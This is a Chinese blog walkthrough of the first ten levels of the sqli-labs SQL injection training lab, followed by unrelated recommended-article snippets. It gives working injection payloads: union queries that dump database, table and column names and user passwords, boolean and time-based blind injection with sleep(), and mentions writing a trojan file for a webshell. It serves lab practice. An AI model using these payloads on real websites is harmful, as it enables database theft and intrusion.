sqli-labs-master前十关过关总结_Alexz__的博客-程序员宅基地

技术标签: 靶机训练  

登入Windows命令行MySQL,方便查验注入命令
 
 
第一关:
在$_GET id 处注入
源码如下
只需构造闭合即可爆出数据
单引号’报错
查列数:
知道为3列之后使用sql联合查询语句:union
这里需要注意,使用联合查询爆出数据库名称的时候前面id值需要放空:
因为网页上能显示的只有第一行的内容
所以前面id值需要放空为“null”
 
查看所有数据库名称:
?id=' union select 1,group_concat( schema_name),3 from information_schema.schemata --+

 

 
查看所有表名:
?id=' union select 1,group_concat( table_name),3 from information_schema.tables where table_schema='security' --+
 
已知数据库名和表名,爆列名:
?id=' union select 1,group_concat( column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
 
分别在2,3处显示username和password:
?id=' union select 1,group_concat( username),group_concat( password) from users --+
 
 
 
 
第二关:
通第一关类型一致,但是为数字型报错,不需要闭合
所有步骤同第一关一样
 
 
 
 
第三关:
同上,报错为单引号+小括号:   ')
 
 
 
 
第四关:
 
 
 
 
第五关:
先构造出闭合,直到其为报错为止,就说明以及进去了
利用Firefox插件MaxHacKBar(f12)中的报错语句
 
 
 
 
第六关
同第五关一样
找到了闭合点一切就可以按照套路来了
 
 
 
 
第七关
需要了解这两个函数,可以调出数据库的安装路径,以便通过菜刀连接远程服务器
钥匙我们需要写入木马文件,需要先判断是否具有写权限:
?id=1' and (select count(*)from mysql.user)>0 --+
若返回正常则具有写权限
 
 
无法写入,理论上都是正确的。。。先走一步看一步,不要在这儿浪费太多的时间
 
 
 
 
第八关:
这一关是基于布尔的盲注,从报错的结果返回来判断我们的猜测是否正确
 
盲注需要掌握一些MySQL的相关函数:
length(str):返回str字符串的长度。
 
substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
 
mid(str,pos,len):跟上面的一样,截取字符串
 
 ascii(str):返回字符串str的最左面字符的ASCII代码值。
 
ord(str):同上,返回ascii码
 
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
 
正确的显示为:
错误的显示为:
 
所以这里的闭合为单引号 :‘
先在dos上测试一下:
security第一个字母就是 s (这里也区分大小写哦)
 
故可以进行布尔判断:
?id=1' and if(ascii(substr((select database()),1,1))>114,1,0) --+
规律同上面关卡所示
 
 
 
 
第九关:
基于布尔的时间盲注:
通过sleep()函数,通过web界面的返回时间长短判断是否被执行
括号内的数字代表延迟时间(单位是秒s)
在时间盲注上的sleep韩束位置选择,最好可以再是错次数交多处进行卡顿,这样可以大大节约测试时间
正在卡顿中....
 
?id=1' and if(ascii(substr((select database()),1,1))>114,1,sleep(2)) --+
同样套路
 
 
 
 
第十关:
发现标题是: 双引号,但是却一直是同样的“you are in ...”
那就该是被定向了,需要通过实践延迟函数来判断他的闭合区间:
?id=1" and sleep(5) --+
这个的返回时间明显加长了很多,那就是双引号了。
具体的时间注入这里就不想过深的去实践,因为太浪费时间,可以自己用python写出一个运行脚本或者是直接上工具SQLmap来进行测试;
 
 
 
 
 
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/Alexz__/article/details/104171778

智能推荐

DLNA_darling757267的博客-程序员宅基地

EasyDlna项目说明https://code.csdn.net/Innost/easydlna 代码下载处!中文说明:Instructions in English:一、项目整体介绍EasyDlna是一个基于Android平台(实际上其核心代码也支持PC平台)的DLNA应用程序集合,它支持DLNA规范中如下组件程序:DMS:Digital MediaSe

【leetcode】P21合并两个有序链表_琉璃世界ol的博客-程序员宅基地

思路:参考两个有序数组的合并过程,遍历两个链表:值相同,把两个链表当前节点加到结果链表,同时后移值不同,那个值小加那个,同时后移时间复杂度O(m+n),空间复杂度O(m+n)//将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 //// //// 示例: //// 输入:1->2->4, 1->3->4//输出:1->1->2->3->4->4// // Related Top.

hololens模拟器卸载_八百里是天蓝的博客-程序员宅基地

刚在网上看到有人对于hololens模拟器的卸载只存在删除模拟器所处文件夹的认识刚才试着在程序与功能里找到了所安装的hololens模拟器点击即可出现卸载框    ↓点击是即可卸载hololens模拟器

Excel的导入导出_weixin_30590285的博客-程序员宅基地

1. 将list中的数据到出到Excel中: //Excel写入 【导出】 private void button1_Click(object sender, EventArgs e) { List<Person> list=new...

python curses_用 Python 进行 Curses 编程_weixin_39846186的博客-程序员宅基地

curses 是什么?¶curses 库为基于文本的终端提供了独立于终端的屏幕绘制和键盘处理功能;这些终端包括 VT100,Linux 控制台以及各种程序提供的模拟终端。显示终端支持各种控制代码以执行常见的操作,例如移动光标,滚动屏幕和擦除区域。不同的终端使用相差很大的代码,并且往往有自己的小怪癖。在普遍使用图形显示的世界中,人们可能会问“为什么自找要麻烦”?毕竟字符单元显示终端确实是一种过时的技...

i510210u和i710510u区别_m0_50201498的博客-程序员宅基地_i510210u

i7-10510U是基于Comet Lake系列的笔记本电脑的高效四核SoC,支持HyperThreading,可以使用8个线程,该芯片仍然以14nm++工艺生产,四核八线程,基本频率为2.29GHz,主频4.3GHz,最大睿频为4.89GHz 。选i7 10510u 还是i510210u这些点很重要 http://www.adiannao.cn/dyi5-10210U采用14nm工艺,4核心8线程,频率1.6-4.2GHz,6MB三级缓存,采用UHD核显(24 EU),TDP 15W,内存频率由DDR

随便推点

苹果最新消息_苹果正式宣布!iPhone12将支持北斗导航!_weixin_39936558的博客-程序员宅基地

点击查看iPhone12最新消息事实上,让iPhone支持北斗导航也并非很难,以目前最新的iPhone 11系列为例,苹果中国官网介绍显示,iPhone 11的定位功能支持GPS、GNSS、数字指南针、无线局域网、蜂窝网络及iBeacon微定位,各种技术几乎都全了,唯独没有列出北斗系统的支持,这也是苹果被不少网友攻击的原因。不过也要注意的是,GNSS导航定位系统这个说法也留下了一点悬念,...

Dedecms安全步骤,安装之后的操作_angqiqin7880的博客-程序员宅基地

1 将文件夹dede改名为其他,比如 /bostomatic.com/2 搜索ad.dedecms.com,文件D:\WebSite\fukedh.com\www\gzadmin\templets\login_ad.htm 删除如下这一段:<!--<script type="text/javascript" src="<?php echo $updateHost...

命令行下为android app签名_断风尘的博客-程序员宅基地

一、a.创建keyb.使用步骤a中产生的key对apk签名

如何在C++代码中访问并调用Java的成员呢?_阿姆斯特狸的博客-程序员宅基地

下面是我写的一个简单的本地函数JNIEXPORT jstring JNICALL Java_c_example_com_jni_jnidemo_SayHello (JNIEnv *env, jclass obj){// return (*env)->NewStringUTF(env,"This just a test for Android Studio NDK JNI de

ISAPI精彩编程_Matrix_Designer的博客-程序员宅基地

<br />   以前想做一点ISAPI方面的程序,上网找了很长时间一直没有写得全一些的,书店里的书里写的又不是很深,于是经过两个月的摸索,总算做了一些东西。很长一段时间以来,总想写一写ISAPI方面的文章,可是一直没有时间,今稍有空,遂把最近所学写下,以归所愿。<br />略作构思,欲写以下几点:<br />1, ISAPI简介<br />2, 一个简单的ISAPI程序<br />3, ISAPI实现 客户/服务器 交互<br />4, ISAPI操作数据库<br />5, 利用ISAPI进行网络数据传送